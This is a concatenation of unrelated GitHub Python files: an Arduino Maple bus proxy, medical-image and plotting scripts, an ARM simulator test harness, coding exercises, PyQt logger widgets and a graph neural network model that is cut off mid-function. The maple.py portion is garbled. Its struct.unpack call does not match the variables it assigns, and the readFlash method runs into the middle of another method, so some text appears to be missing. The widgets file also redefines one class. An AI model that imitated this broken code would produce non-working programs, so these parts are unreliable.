# are-you-there\n result = self.handle.read(1)\n if result == b'\\x01':\n break\n time.sleep(0.5)\n total_sleep += 0.5\n else:\n raise Exception()\n\n print(\"maple proxy detected\")\n \n def __del__(self):\n if hasattr(self, 'handle'):\n self.handle.close()\n \n def deviceInfo(self, address, debug_filename=None):\n # cmd 1 = request device information\n info_bytes = self.transact(CMD_INFO, address, b'', debug_write_filename=debug_filename, allow_repeats=True)\n if not info_bytes:\n print(\"No device found at address:\")\n print(hex(address))\n return False\n\n #print info_bytes, len(info_bytes)\n print_header(info_bytes[:4])\n info_bytes = info_bytes[4:] # Strip header\n print(\"Device information:\")\n print(\"raw:\", debug_hex(swapwords(info_bytes)), len(info_bytes))\n func, func_data_0, func_data_1, func_data_2, product_name,\\\n product_license =\\\n struct.unpack(\"HH\", info_bytes[108:112])\n print(\"Functions :\", ', '.join(decode_func_codes(func)))\n print(\"Periph 1 :\", hex(func_data_0))\n print(\"Periph 2 :\", hex(func_data_1))\n print(\"Periph 3 :\", hex(func_data_2))\n #print \"Area :\", ord(area_code)\n #print \"Direction? :\", ord(connector_dir)\n print(\"Name :\", debug_txt(swapwords(product_name)))\n print(\"License :\", debug_txt(swapwords(product_license)))\n # These are in tenths of a milliwatt, according to the patent:\n print(\"Power :\", standby_power)\n print(\"Power max :\", max_power)\n return True\n\n def readFlash(self, address, block, phase):\n addr = (0 << 24) | (phase << 16) | block\n cmd = struct.pack(\"H\", num_bytes)[0]\n raw_response = self.handle.read(num_bytes)\n if debug_write_filename:\n with open(debug_write_filename, 'wb') as h:\n h.write(raw_response)\n\n response = debittify(raw_response)\n if prev_response and prev_response.result == response.result:\n break\n\n return response\n \n def compute_checksum(self, data):\n checksum = 0\n for datum in data:\n checksum ^= datum\n return checksum\n\ndef debug_dump(filename):\n with open(filename, 'rb') as h:\n raw_data = h.read()\n\n result = debittify(raw_data)\n print(\"raw:\", debug_hex(swapwords(result)), len(result))\n\ndef test():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p', '--port', default=None)\n parser.add_argument('-d', '--debug-prefix', default=None)\n args = parser.parse_args()\n\n if args.port:\n bus = MapleProxy(args.port)\n\n # Nothing will work before you do a deviceInfo on the controller.\n # I guess this forces the controller to enumerate its devices.\n debug_filename = '%s-controller' % (args.debug_prefix,) if args.debug_prefix else None\n found_controller = bus.deviceInfo(ADDRESS_CONTROLLER, debug_filename=debug_filename)\n if not found_controller:\n print(\"Couldn't find controller.\")\n #return\n\n debug_filename = '%s-vmu' % (args.debug_prefix,) if args.debug_prefix else None\n found_vmu = bus.deviceInfo(ADDRESS_PERIPH1, debug_filename=debug_filename)\n else:\n debug_dump(args.debug_prefix + '-controller')\n\nif __name__ == '__main__':\n test()\n","repo_name":"nfd/arduino-maple","sub_path":"maple.py","file_name":"maple.py","file_ext":"py","file_size_in_byte":17332,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"81"} +{"seq_id":"5581432156","text":"# -*- coding: utf-8 -*-\n\"\"\"\n这个脚本用来处理:mhd文件,然后将每个CT scan 保存为图片\n\n\"\"\"\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom glob import glob\nfrom pylab import *\nimport SimpleITK as sitk\n\n\n\n\ndef pltShowMhdFile():\n dataBasePath = '/Users/wangbing/MyProjects/LungCancer/lungData/luna16Data/luna16ExampleData/sunset01'\n mhdFileName = '1.3.6.1.4.1.14519.5.2.1.6279.6001.898642529028521482602829374444.mhd'\n absFilePath = os.path.join(dataBasePath,mhdFileName)\n full_image_info = sitk.ReadImage(absFilePath)\n full_scan = sitk.GetArrayFromImage(full_image_info)\n for index in range(0,full_scan.shape[0],10):\n plt.imshow(full_scan[index],cmap='gray')\n fileName = mhdFileName[:mhdFileName.rfind('.')]+'_'+str(index)\n plt.axis('off')\n plt.savefig('/Users/wangbing/MyProjects/LungCancer/lungData/luna16Data/testPngFile/'+fileName+'.jpg')\n\ndef generatePicture():\n\n\n t = arange(0.0, 2.0, 0.01)\n s = sin(2 * pi * t)\n plot(t, s, linewidth=1.0)\n\n xlabel('time (s)')\n ylabel('voltage (mV)')\n title('About as simple as it gets, folks')\n grid(True)\n savefig('/Users/wangbing/MyProjects/LungCancer/lungData/luna16Data/testPngFile/test.jpg')\n\n\n\n\n\ndef mhdFileShowAndSaveToPng():\n # 这个 dataBasePath 目录下面保存的 images 保存的 每个nodule 对应的 ct scan 每个images 保存三张ct\n dataBasePath = '/Users/wangbing/MyProjects/LungCancer/lungData/luna16Data/luna16ExampleData/kaggleTutorial/stage1NoduleMaskOutput'\n annotationsFile = '/Users/wangbing/MyProjects/LungCancer/lungData/luna16Data/CSVFILES/annotations.csv'\n annoDF = pd.read_csv(annotationsFile)\n imagesFileList = glob(dataBasePath+'/'+'images*.npy')\n for i_images in imagesFileList:\n images = np.load(i_images)\n indexOftheInAnnoDF = i_images[i_images.rfind('_')+1:i_images.rfind('.')]\n indexOftheInAnnoDF = int(indexOftheInAnnoDF)\n annoDF_index_values= annoDF.iloc[indexOftheInAnnoDF:indexOftheInAnnoDF+1,:].values\n a = annoDF_index_values[0]\n b = a.astype('str')\n c = b.tolist()\n d = '_'.join(c)\n for i in range(images.shape[0]):\n e = d+'_'+str(i)\n print(e)\n plt.imshow(images[i],cmap='gray')\n plt.axis('off')\n #plt.savefig('%s.png'%(e))\n plt.title(e)\n plt.show()\ndef main():\n #pltShowMhdFile()\n generatePicture()\n\n\nif __name__ == '__main__':\n main()","repo_name":"Jameskry/LungCancerProject","sub_path":"src/saveNpyFileToPng.py","file_name":"saveNpyFileToPng.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"9318837371","text":"import os, sys\r\n\r\nbase_path = os.path.realpath('.')\r\n\r\nsrcs_strs = (\"LiquidCrystal_I2C/LiquidCrystal_I2C.cpp\",\r\n \"OneWire/OneWire.cpp\",\r\n \"Arduino-Temperature-Control-Library/DallasTemperature.cpp\",\r\n \"LinkedList/LinkedList.h\")\r\nincld_strs = (\"LiquidCrystal_I2C\",\r\n \"OneWire\",\r\n \"Arduino-Temperature-Control-Library\",\r\n \"LinkedList\")\r\n\r\nwith open(os.path.join(base_path, \"PIT\", \"components\", \"arduino\", \"CMakeLists.txt\"), 'r') as f:\r\n config = f.read()\r\n\r\nfor s in srcs_strs:\r\n s_loc = config.find(\"LIBRARY_SRCS\")\r\n e_loc = config.find(')', s_loc, -1)\r\n\r\n if config.find(s, s_loc, e_loc) == -1:\r\n config = config[:e_loc] + \"libraries/\" + s + '\\n' + config[e_loc:]\r\n\r\nfor s in incld_strs:\r\n s_loc = config.find(\"COMPONENT_ADD_INCLUDEDIRS\")\r\n e_loc = config.find(')', s_loc, -1)\r\n\r\n if config.find(s, s_loc, e_loc) == -1:\r\n config = config[:e_loc] + \"libraries/\" + s + '\\n' + config[e_loc:]\r\n\r\nwith open(os.path.join(base_path, \"PIT\", \"components\", \"arduino\", \"CMakeLists.txt\"), 'w') as f:\r\n f.write(config)","repo_name":"rogersstuart/programmable-interval-timer","sub_path":"library_prep.py","file_name":"library_prep.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"8325008795","text":"import faulthandler\nimport sys\nimport time\nfrom threading import Thread\n\nfrom unicorn.arm_const import *\n\nfrom oputil.opsim import MemoryMap, PeripheralAddress\nfrom oputil.opsim.cpu import CPU\nfrom oputil.opsim import firmware\nfrom oputil.opsim import ThumbSC, HookMemory\nfrom oputil.opsim.state import CpuState\nfrom oputil.opsim.valid import check_failures, print_failures\n\n\ndef main():\n faulthandler.enable()\n FLAG = None\n\n sim = ThumbSC()\n state = CpuState()\n cpu = CPU(firmware, state, verbose=1)\n\n\n sim.Regs.PC = cpu.uc.reg_read(UC_ARM_REG_PC)\n for (begin, end, perms) in cpu.uc.mem_regions():\n if (end - begin) > 0x10000:\n sim.Memory.Map(begin, end - begin)\n\n sim.Memory.WriteBuffer(MemoryMap.FLASH.address, firmware.buffer)\n prev_hook_addr = MemoryMap.PERIPHERAL.address\n next_hook_addr = MemoryMap.PERIPHERAL.address_until\n custom_stack = []\n\n count = 0\n\n def int_from_bytes(buf):\n return int.from_bytes(buf, \"little\", signed=len(buf) == 4)\n\n def global_hook_memory(address, is_read, size, value):\n if is_read:\n original = cpu.uc.mem_read(address, size)\n if int_from_bytes(original) != value:\n print(\"INVALID READ\", hex(address), \"uc:\", original[0], \"tc\", value)\n else:\n original = cpu.uc.mem_read(address, size)\n if int_from_bytes(original) != value:\n print(\"INVALID WRITE\", hex(address), \"uc:\", original[0], \"tc\", value)\n\n return 0\n\n line_buffer = []\n FLAG = None\n epoch = time.time()\n\n def hook_memory(address, is_read, size, value):\n nonlocal line_buffer\n assert size == 4\n if prev_hook_addr <= address < next_hook_addr:\n if is_read:\n if address == PeripheralAddress.OP_CON_RAM_SIZE:\n return int_from_bytes(cpu.uc.mem_read(address, size))\n elif address == PeripheralAddress.OP_IO_RXR:\n if custom_stack:\n return custom_stack.pop(0)\n elif address == PeripheralAddress.OP_RTC_TICKS_MS:\n if not FLAG:\n return int_from_bytes(cpu.uc.mem_read(address, size))\n else:\n return int((time.time() - epoch) * 1000)\n else:\n print(\"read\", hex(address))\n else:\n if address == PeripheralAddress.OP_CON_PENDING:\n pass\n elif address == PeripheralAddress.OP_CON_EXCEPTION:\n pass\n elif address == PeripheralAddress.OP_CON_INTR_CHAR:\n pass\n elif address == PeripheralAddress.OP_IO_TXR:\n if FLAG:\n print(chr(value), end=\"\")\n sys.stdout.flush()\n else:\n print(\"write\", hex(address), value)\n\n return 0\n\n def push(line):\n nonlocal custom_stack\n cpu.state.stack += (line + \"\\r\\n\").encode()\n custom_stack += (line + \"\\r\\n\").encode()\n\n def reader():\n while True:\n try:\n line = input()\n except EOFError:\n cpu.has_error = True\n break\n\n push(line)\n\n thread = Thread(target=reader, daemon=True)\n thread.start()\n\n push(\"1\")\n\n sim.Memory.Hook = HookMemory(hook_memory)\n\n FLAG = False\n if FLAG:\n while True:\n sim.Run(10000000)\n\n hook_installed = False\n cpu.state.cycle = cycle = 1\n\n while True:\n prev_pc = cpu.uc.reg_read(UC_ARM_REG_PC)\n cpu.step()\n sim.Run(cycle)\n count += cycle\n if not hook_installed:\n sim.Memory.GlobalHook = HookMemory(global_hook_memory)\n cpu.state.cycle = cycle = 1\n hook_installed = True\n\n failure, target_regs, sim_regs = check_failures(cpu, sim)\n if failure:\n print_failures(cpu, sim, prev_pc, target_regs, sim_regs, count)\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"EcmaXp/OpenPythonUtils","sub_path":"oputil/opsim/comp/tsc.py","file_name":"tsc.py","file_ext":"py","file_size_in_byte":4093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74794447305","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def mergeKLists(self, lists: List[ListNode]) -> ListNode:\n \n root = tmp = ListNode(-1)\n valid = set()\n for i in range(len(lists)):\n if lists[i]:\n valid.add(i)\n \n while valid:\n # find min\n minValue = list(valid)[0]\n for value in valid:\n if lists[value].val < lists[minValue].val:\n minValue = value\n \n # create Node\n tmp.next = ListNode(lists[minValue].val)\n tmp = tmp.next\n lists[minValue] = lists[minValue].next\n \n if lists[minValue] == None:\n valid.remove(minValue)\n \n return root.next\n","repo_name":"novayo/LeetCode","sub_path":"0023_Merge_k_Sorted_Lists/try_2.py","file_name":"try_2.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"81"} +{"seq_id":"5294976573","text":"'''\n\"leetcode\"\n34. Find First and Last Position of Element in Sorted Array\nMedium\n\n6994\n\n231\n\nAdd to List\n\nShare\nGiven an array of integers nums sorted in ascending order, find the starting and ending position of a given target value.\n\nIf target is not found in the array, return [-1, -1].\n\nYou must write an algorithm with O(log n) runtime complexity.\n\n \n\nExample 1:\n\nInput: nums = [5,7,7,8,8,10], target = 8\nOutput: [3,4]\nExample 2:\n\nInput: nums = [5,7,7,8,8,10], target = 6\nOutput: [-1,-1]\nExample 3:\n\nInput: nums = [], target = 0\nOutput: [-1,-1]\n \n\nConstraints:\n\n0 <= nums.length <= 105\n-109 <= nums[i] <= 109\nnums is a non-decreasing array.\n-109 <= target <= 109\n'''\nclass Solution:\n def searchRange(self, nums: list[int], target: int) -> list[int]:\n left = 0\n right = len(nums) - 1\n \n mid = 0\n found = False\n while left <= right:\n mid = (left + right) // 2\n if nums[mid] > target:\n right = mid - 1\n elif nums[mid] < target:\n left = mid + 1\n else:\n found = True\n break\n ans = [] \n if found:\n start = mid\n for i in range(mid - 1, -1, -1):\n if nums[i] == target:\n start = i\n else:\n break\n end = mid\n for i in range(mid + 1, len(nums)):\n if nums[i] == target:\n end = i\n else:\n break \n ans.append(start)\n ans.append(end)\n else:\n ans = [-1, -1]\n return ans","repo_name":"KyuSahm/problems-solving","sub_path":"Binary Search/python/first_and_last_position.py","file_name":"first_and_last_position.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39528166741","text":"# def factorial(n):\n# if n == 1:\n# return 1\n# else:\n# return n*factorial(n-1)\n\n# print(factorial(90))\n# def power (x,n):\n# if n==0:\n# return 1\n# else:\n# return x*power(x,n-1)\n# print(power(3,2))\n\n#二分查找算法\ndef search(sequence,number,lower=0,upper=None):\n if upper is None:\n upper = len(sequence)-1\n if lower==upper:\n assert number == sequence[upper]\n return upper\n else:\n middle = (lower+upper)//2\n if number>sequence[middle]:\n return search(sequence,number,middle+1,upper)\n else:\n return search(sequence,number,upper,middle)","repo_name":"zxcc0712/python_basis","sub_path":"第6章/DiGui.py","file_name":"DiGui.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"24905208465","text":"import pandas as pd\nimport json\n\nbenchmarks = json.load(open(\"bench_out.json\"))[\"benchmarks\"]\n\nclasses = set()\ndatasets = set()\nfor benchmark in benchmarks:\n name = benchmark[\"name\"]\n classes.add(name.split(\"_\")[0])\n datasets.add(name.split(\"<\")[1].split(\">\")[0])\n\ndf = pd.DataFrame(benchmarks)\nfor class_name in classes:\n d = pd.DataFrame()\n for dataset_name in datasets:\n # get results\n s = df[\n df[\"name\"].str.contains(f\"{class_name}_.*<{dataset_name}.*\", regex=True)\n ][[\"name\", \"cpu_time\"]]\n # format function names\n repl = lambda m: m.group(\"one\")\n s[\"name\"] = s[\"name\"].str.replace(\n f\"{class_name}_(?P.*)<{dataset_name}.*\", repl, regex=True\n )\n s[\"name\"] = s[\"name\"].str.replace(\"_\", \"::\")\n s = s.loc[s[\"name\"].str.lower().sort_values(ascending=False).index]\n s = s.rename(columns={\"cpu_time\": dataset_name})\n if d.empty:\n d = s\n else:\n d[dataset_name] = s[dataset_name].values\n ax = d.plot.barh(x=\"name\")\n ax.set_title(f\"{class_name}\")\n ax.set_xlabel(\"\")\n ax.set_xscale(\"log\")\n ax.set_xlim([1e-6, 1e3])\n ax.set_xticks([1e-6, 1e-3, 1, 1e3])\n ax.set_xticklabels([\"1 ns\", \"1 us\", \"1 ms\", \"1 s\"])\n ax.set_ylabel(\"\")\n fig = ax.get_figure()\n fig.set_size_inches(12, 10)\n fig.savefig(f\"{class_name}.png\", bbox_inches=\"tight\", dpi=100)\n","repo_name":"spatial-model-editor/spatial-model-editor","sub_path":"benchmark/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"14335264954","text":"# set QT_API environment variable\nimport os \nos.environ[\"QT_API\"] = \"pyqt5\"\nimport qtpy\n\n# qt libraries\nfrom qtpy.QtCore import *\nfrom qtpy.QtWidgets import *\nfrom qtpy.QtGui import *\n\nfrom control._def import *\n\nimport numpy as np\nimport pyqtgraph as pg\nfrom collections import deque\nimport time\n\nclass ControlPanel(QFrame):\n\n\tsignal_logging_onoff = Signal(bool,str)\n\n\tdef __init__(self, main=None, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.font = QFont()\n\t\tself.font.setPixelSize(16)\n\t\tself.add_components()\n\t\tself.setFrameStyle(QFrame.Panel | QFrame.Raised)\n\n\tdef add_components(self):\n\n\t\tself.lineEdit_experimentID = QLineEdit()\n\n\t\tself.btn_logging_onoff = QPushButton('Logging On/Off')\n\t\tself.btn_logging_onoff.setDefault(False)\n\t\tself.btn_logging_onoff.setCheckable(True)\n\t\tself.btn_logging_onoff.setChecked(True)\n\n\t\t# self.label_channel_readings_print = QLabel()\n\t\t# self.label_channel_readings_print.setFrameStyle(QFrame.Panel | QFrame.Sunken)\n\n\t\tgrid_line2 = QHBoxLayout()\n\t\tgrid_line2.addWidget(QLabel('File Prefix'))\n\t\tgrid_line2.addWidget(self.lineEdit_experimentID)\n\t\tgrid_line2.addWidget(self.btn_logging_onoff)\n\n\t\t# grid_line11 = QGridLayout()\n\t\t# grid_line11.addWidget(self.label_channel_readings_print,0,0,10,0)\n\n\t\t# for displaying stepper position and flow/pressure measurements\n\t\tself.label_channel_readings = {}\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tself.label_channel_readings[str(i)] = QLabel()\n\t\t\tself.label_channel_readings[str(i)].setFrameStyle(QFrame.Panel | QFrame.Sunken)\n\t\t\tself.label_channel_readings[str(i)].setFixedWidth(50)\n\n\t\tgrid_line3 = QHBoxLayout()\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tgrid_line3.addWidget(QLabel('ch' + str(i)))\n\t\t\tgrid_line3.addWidget(self.label_channel_readings[str(i)])\n\t\t\n\t\tself.grid = QGridLayout()\n\t\tself.grid.addLayout(grid_line2,2,0)\n\t\tself.grid.addLayout(grid_line3,3,0)\n\t\t# self.grid.addWidget(self.label_channel_readings_print,3,0,1,8)\n\n\t\tself.setLayout(self.grid)\n\t\tself.btn_logging_onoff.clicked.connect(self.logging_onoff)\n\n\tdef logging_onoff(self,state):\n\t\tself.signal_logging_onoff.emit(state,self.lineEdit_experimentID.text())\n\n\tdef display_readings(self,readings):\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tself.label_channel_readings[str(i)].setText(str(readings[i]))\n\t\t\n# from Deepak\nclass PlotWidget(pg.GraphicsLayoutWidget):\n\n\tdef __init__(self,title, color = 'w', parent=None):\n\t\tsuper().__init__(parent)\n\t\t#pg.setConfigOption('background', 'w')\n\n\t\tself.font = QFont()\n\t\tself.font.setPixelSize(16)\n\n\t\tself.title = title\n\t\tself.maxLen = int(1000*WAVEFORMS.DISPLAY_RANGE_S/WAVEFORMS.UPDATE_INTERVAL_MS)\n\t\tself.left_X_data = deque(maxlen = self.maxLen)\n\t\tself.left_Y_data = deque(maxlen = self.maxLen)\n\t\tself.right_Abs = []\n\t\tself.right_Ord = []\n\t\tself.right_X_data = deque(maxlen = self.maxLen)\n\t\tself.right_Y_data = deque(maxlen = self.maxLen)\n\t\tself.left_Abs = []\n\t\tself.left_Ord = []\n\t\tself.plot1 = self.addPlot(title = self.title + ' ' + PLOT_UNITS[self.title])\n\t\tself.plot1.setTitle(title = self.title + ' [' + PLOT_UNITS[self.title] + ']',size = '25pt')\n\t\tself.plot1.getAxis(\"bottom\").tickFont = self.font\n\t\tself.plot1.getAxis(\"left\").tickFont = self.font\n\t\tself.setBackground('w')\n\t\t# self.curve = self.plot1.plot(self.Abs, self.Ord, pen=pg.mkPen(color, width=3), fillLevel=-0.3, brush=(50,50,200,100))\n\t\tself.left_curve = self.plot1.plot(self.left_Abs, self.left_Ord, pen=pg.mkPen(color, width=3), fillLevel=-0.3, brush=(50,50,200,100))\n\t\tself.right_curve = self.plot1.plot(self.right_Abs, self.right_Ord, pen=pg.mkPen(color, width=3), brush=(50,50,200,100))\n\t\tself.left_curve.setClipToView(True)\n\t\tself.right_curve.setClipToView(True)\n\t\t# self.plot1.enableAutoRange('y',True)\n\t\tself.plot1.setXRange(min=0,max=WAVEFORMS.DISPLAY_RANGE_S)\n\t\tself.plot1.showGrid(x=True, y=True)\n\t\tself.ptr = 0\n\t\tself.CYCLE_GAP = WAVEFORMS.CYCLE_GAP\n\t\t#pg.setConfigOption('background', 'w')\n\n\tdef update_plot(self, time_data, data):\n\n\t\ttimestamp = time_data%WAVEFORMS.DISPLAY_RANGE_S\n\t\t\n\t\t# Wraparound condition\n\t\tif len(self.left_X_data) > 0 and timestamp < self.left_X_data[-1]:\n\t\t\tself.right_X_data = self.left_X_data\n\t\t\tself.right_Y_data = self.left_Y_data\n\t\t\tself.left_X_data = deque(maxlen = self.maxLen)\n\t\t\tself.left_Y_data = deque(maxlen = self.maxLen)\n\n\t\t# Add new data to the right end of the left waveform\n\t\tself.left_X_data.append(timestamp) \n\t\tself.left_Y_data.append(data)\n\n\t\t# Remove overlapping samples by popping left from the right waveform.\n\t\twhile (len(self.right_X_data) > 0 and len(self.left_X_data) + len(self.right_X_data) >= self.maxLen - self.CYCLE_GAP):\n\t\t\tself.right_X_data.popleft()\n\t\t\tself.right_Y_data.popleft()\n\t\t\n\t\t# Set the data \n\t\tself.label_channel_readings = PLOT_UNITS[self.title]\n\t\tself.left_Abs = np.array(self.left_X_data)\n\t\tself.left_Ord = np.array(self.left_Y_data)\n\t\tself.right_Abs = np.array(self.right_X_data)\n\t\tself.right_Ord = np.array(self.right_Y_data)\n\n\t\t# Update the plot.\n\t\tif len(self.left_Abs):\n\t\t\tself.left_curve.setData(self.left_Abs-self.left_Abs[-1], self.left_Ord)\n\t\t\tself.left_curve.setPos(self.left_Abs[-1],0)\n\t\tif len(self.right_Abs):\n\t\t\tself.right_curve.setData(self.right_Abs-self.right_Abs[-1], self.right_Ord)\n\t\t\tself.right_curve.setPos(self.right_Abs[-1],0)\n\n\tdef initialise_plot(self):\n\t\tself.left_X_data = deque(maxlen = self.maxLen)\n\t\tself.left_Y_data = deque(maxlen = self.maxLen)\n\t\tself.right_X_data = deque(maxlen = self.maxLen)\n\t\tself.right_Y_data = deque(maxlen = self.maxLen)\n\t\tself.left_Abs = []\n\t\tself.left_Ord = []\n\t\tself.right_Abs = []\n\t\tself.right_Ord = []\n\t\tself.left_curve.setData(self.left_Abs,self.left_Ord)\n\t\tself.right_curve.setData(self.right_Abs,self.right_Ord)\n\n\nclass WaveformDisplay(QFrame):\n\n\tdef __init__(self, main=None, *args, **kwargs):\n\t\tsuper().__init__(*args, **kwargs)\n\t\tself.add_components()\n\t\tself.setFrameStyle(QFrame.Panel | QFrame.Raised)\n\n\tdef add_components(self):\n\t\tself.plotWidget = {}\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tself.plotWidget[str(i)] = PlotWidget()\n\n\t\tlayout = QGridLayout() #layout = QStackedLayout()\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tlayout.addWidget(self.plotWidget[str(i)],i,0)\n\t\tself.setLayout(layout)\n\n\tdef plot(self,time,data):\n\t\tfor i in range(NUMBER_OF_CHANNELS_DISPLAY):\n\t\t\tself.plotWidget[str(i)].plot(time,data[i,:])\n\nclass PlotWidget(pg.GraphicsLayoutWidget):\n\tdef __init__(self, window_title='',parent=None):\n\t\tsuper().__init__(parent)\n\t\tself.plotWidget = self.addPlot(title = '')\n\tdef plot(self,x,y):\n\t\tself.plotWidget.plot(x,y,pen=(0,3),clear=True)\n\n","repo_name":"hongquanli/squid-tutorials","sub_path":"example_data_logger/software/control/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":6537,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"13993567881","text":"# pyre-unsafe\nimport torch.nn\nimport torch.nn as nn\nimport math\nimport torch.nn.functional as F\nimport dgl\nfrom dgl.nn.pytorch import GINConv\nfrom dgl.nn.pytorch.glob import SumPooling, AvgPooling, MaxPooling\n\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass EGI(nn.Module):\n\n \"\"\"\n An implementation of EGI based on a SubGI model.\n\n The node encoder for this EGI model can be retrieved with .encoder.\n\n This code is primarily adapted from the reference implementation found at\n https://github.com/GentleZhu/EGI.\n\n Args:\n g: The input graph, as a DGLGraph.\n in_feats: The input feature size (as a tensor).\n n_hidden: The number of hidden dimensions in the model.\n n_layers: The number of layers in the model.\n In the original implementation, this is equal to the k\n hyper-parameter.\n\n activation: The activation function for the model.\n dropout: The dropout rate of the underlying layers.\n Defaults to 0.0.\n \"\"\"\n\n def __init__(self, in_feats, n_hidden, n_layers, activation, dropout=0.0):\n super(EGI, self).__init__()\n\n self.encoder = _Encoder(in_feats, n_hidden, n_layers, activation, dropout)\n\n self.subg_disc = _SubGDiscriminator(in_feats, n_hidden) # Discriminator\n\n self.loss = nn.BCEWithLogitsLoss()\n self.in_feats = in_feats\n self.n_hidden = n_hidden\n self.n_layers = n_layers\n self.activation = activation\n self.dropout = dropout\n\n def forward(self, g, features, blocks):\n \"\"\"\n Returns the loss of the model.\n\n For encoding, use .encoder.\n \"\"\"\n\n positive = self.encoder(g, features, corrupt=False)\n\n # generate negative edges through random permutation\n perm = torch.randperm(g.number_of_nodes())\n negative = positive[perm]\n\n positive_batch = self.subg_disc(g, blocks, positive, features)\n\n negative_batch = self.subg_disc(g, blocks, negative, features)\n\n E_pos, E_neg, l = 0.0, 0.0, 0.0\n pos_num, neg_num = 0, 0\n\n for positive_edge, negative_edge in zip(positive_batch, negative_batch):\n E_pos += get_positive_expectation(positive_edge, \"JSD\", average=False).sum()\n pos_num += positive_edge.shape[0]\n\n E_neg += get_negative_expectation(negative_edge, \"JSD\", average=False).sum()\n neg_num += negative_edge.shape[0]\n\n l += E_neg - E_pos\n\n # assert pos_num != 0\n # assert neg_num != 0\n\n return E_neg / neg_num - E_pos / pos_num\n\n\nclass _Encoder(nn.Module):\n \"\"\"\n\n The EGI encoder.\n\n Produces node embeddings for a given graph based on structural node features.\n\n \"\"\"\n\n def __init__(self, in_feats, n_hidden, n_layers, activation, dropout):\n super(_Encoder, self).__init__()\n\n self.conv = GIN(\n n_layers, 1, in_feats, n_hidden, n_hidden, dropout, True, \"sum\", \"sum\"\n )\n\n def forward(self, g, features, corrupt=False):\n if corrupt:\n perm = torch.randperm(g.number_of_nodes())\n features = features[perm]\n features = self.conv(g, features)\n return features\n\n\nclass _SubGDiscriminator(nn.Module):\n \"\"\"\n The EGI discriminator.\n \"\"\"\n\n def __init__(self, in_feats, n_hidden, n_layers=2):\n super(_SubGDiscriminator, self).__init__()\n\n self.k = n_layers\n\n self.in_feats = in_feats\n\n # discriminator convolutional layers\n # used to encode neighbor embeddings\n self.dc_layers = nn.ModuleList()\n\n for i in range(n_layers):\n self.dc_layers.append(GNNDiscLayer(in_feats, n_hidden))\n\n # these layers consist of the scoring function\n self.linear = nn.Linear(in_feats + 2 * n_hidden, n_hidden, bias=True)\n self.U_s = nn.Linear(n_hidden, 1)\n\n def forward(self, g, blocks, emb, features):\n\n # reverse all edges\n reverse_edges = []\n # first two elements are in and out nodes\n\n for i, block in enumerate(blocks[2]):\n # get edges from the block\n # https://github.com/dmlc/dgl/issues/1450\n us, vs = g.find_edges(block.edata[dgl.EID])\n reverse_edges.extend(g.edge_ids(vs, us).tolist())\n\n small_g = g.edge_subgraph(reverse_edges)\n small_g.ndata[\"root\"] = emb[small_g.ndata[\"_ID\"]]\n small_g.ndata[\"x\"] = features[small_g.ndata[\"_ID\"]]\n small_g.ndata[\"m\"] = torch.zeros_like(emb[small_g.ndata[\"_ID\"]])\n\n # translate from small_g IDs to parent IDS (or reverse using .index(v))\n small_g_nodes = small_g.ndata[\"_ID\"]\n\n edge_embs = []\n\n # go through ego-graph hop edges in reverse\n for i in range(len(blocks[2]))[::-1]:\n # get edges on given layer ids' in parent graph\n vs0 = blocks[2][i].dstdata[dgl.NID]\n\n # convert to small_g node ids\n # https://stackoverflow.com/a/71833292\n vs = []\n for v in vs0:\n res = (small_g_nodes == v).nonzero()\n # assert res.shape[0]>0,f\"{v}\"\n if res.shape[0] <= 0:\n continue\n vs.append(res[0])\n\n us = small_g.out_edges(vs, \"eid\")\n\n if i == len(blocks[2]):\n h = self.dc_layers[0](small_g, vs, us, 1)\n else:\n h = self.dc_layers[0](small_g, vs, us, 2)\n\n edge_embs.append(self.U_s(F.relu(self.linear(h))))\n\n return edge_embs\n\n # # for every hop in the ego-graph\n # for i in range(nf.num_blocks):\n\n # # pick nodes from an edge\n # u,v = self.g.find_edges(nf.block_parent_eid(i))\n\n # # add the reverse edge (WHY reverse?) to a list\n # reverse_edges += self.g.edge_ids(v,u).numpy().tolist()\n #\n # # induce a subgraph based on these edges\n # small_g = self.g.edge_subgraph( reverse_edges)\n\n # # ???\n # small_g.ndata['root'] = emb[small_g.ndata['_ID']]\n # small_g.ndata['x'] = features[small_g.ndata['_ID']]\n # small_g.ndata['m']= torch.zeros_like(emb[small_g.ndata['_ID']])\n\n # edge_embs = []\n #\n # go through ego-graph hop edges in reverse\n # for i in range(nf.num_blocks)[::-1]:\n\n # get edges on given layer ids' in ego_graph\n # v = small_g.map_to_subgraph_nid(nf.layer_parent_nid(i+1))\n # uid = small_g.out_edges(v, 'eid')\n\n # if i+1 == 